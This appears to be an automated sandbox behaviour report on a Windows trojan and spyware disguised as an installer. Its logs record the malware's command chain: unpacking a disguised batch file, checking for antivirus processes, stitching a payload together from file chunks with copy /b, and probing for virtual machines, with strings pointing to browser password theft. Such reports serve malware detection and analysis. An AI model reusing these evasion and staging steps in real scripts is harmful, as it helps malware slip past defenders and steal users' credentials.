Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe

Code function: 0_2_004038AF EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,

0_2_004038AF

Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	File created: C:\Windows\BloodPure	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	File created: C:\Windows\GlasgowQuiet	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	File created: C:\Windows\CommitteeGained	Jump to behavior

Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Code function: 0_2_0040737E	0_2_0040737E
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Code function: 0_2_00406EFE	0_2_00406EFE
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Code function: 0_2_004079A2	0_2_004079A2
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Code function: 0_2_004049A8	0_2_004049A8

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\670499\Considering.com 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49

Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe

Code function: String function: 004062CF appears 58 times

Source: lnst#U0430Il#U0435r86x.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@28/23@3/2

Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe

0_2_004044D1

Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6364:120:WilError_03

Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe

File created: C:\Users\user\AppData\Local\Temp\nsbF3F3.tmp

Jump to behavior

Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c expand Meyer.pps Meyer.pps.bat & Meyer.pps.bat

Source: lnst#U0430Il#U0435r86x.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: tasklist.exe, 00000006.00000002.1702703567.0000000003332000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000006.00000003.1702391082.000000000332D000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000006.00000003.1702449737.000000000332F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_ProcessnyQQ;V-3
Source: Considering.com, 0000000D.00000003.2078347667.0000000001595000.00000004.00000020.00020000.00000000.sdmp, Considering.com, 0000000D.00000003.2078431775.0000000004689000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: lnst#U0430Il#U0435r86x.exe	Virustotal: Detection: 27%
Source: lnst#U0430Il#U0435r86x.exe	ReversingLabs: Detection: 29%

Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe

File read: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe "C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe"
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c expand Meyer.pps Meyer.pps.bat & Meyer.pps.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\expand.exe expand Meyer.pps Meyer.pps.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 670499
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Notes.pps
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Postal" Warnings
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 670499\Considering.com + Typically + Longitude + Nikon + Bumper + Tire + Nick + Tunisia + Festivals + Rabbit 670499\Considering.com
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Celebs.pps + ..\Harvest.pps + ..\Come.pps + ..\Ban.pps + ..\Spain.pps + ..\Irrigation.pps + ..\Communicate.pps J
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\670499\Considering.com Considering.com J
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c expand Meyer.pps Meyer.pps.bat & Meyer.pps.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\expand.exe expand Meyer.pps Meyer.pps.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 670499	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Notes.pps	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Postal" Warnings	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 670499\Considering.com + Typically + Longitude + Nikon + Bumper + Tire + Nick + Tunisia + Festivals + Rabbit 670499\Considering.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Celebs.pps + ..\Harvest.pps + ..\Come.pps + ..\Ban.pps + ..\Spain.pps + ..\Irrigation.pps + ..\Communicate.pps J	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\670499\Considering.com Considering.com J	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior

Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\expand.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: lnst#U0430Il#U0435r86x.exe

Static file information: File size 1409281 > 1048576

Source: lnst#U0430Il#U0435r86x.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe

Code function: 0_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406328

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\670499\Considering.com

Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\670499\Considering.com

Jump to dropped file

Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com TID: 4924

Thread sleep time: -90000s >= -30000s

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Code function: 0_2_00406301 FindFirstFileW,FindClose,		0_2_00406301
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Code function: 0_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,		0_2_00406CC7

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\670499	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\670499\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe

Code function: 0_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406328

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c expand Meyer.pps Meyer.pps.bat & Meyer.pps.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\expand.exe expand Meyer.pps Meyer.pps.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 670499	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Notes.pps	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Postal" Warnings	Jump to behavior
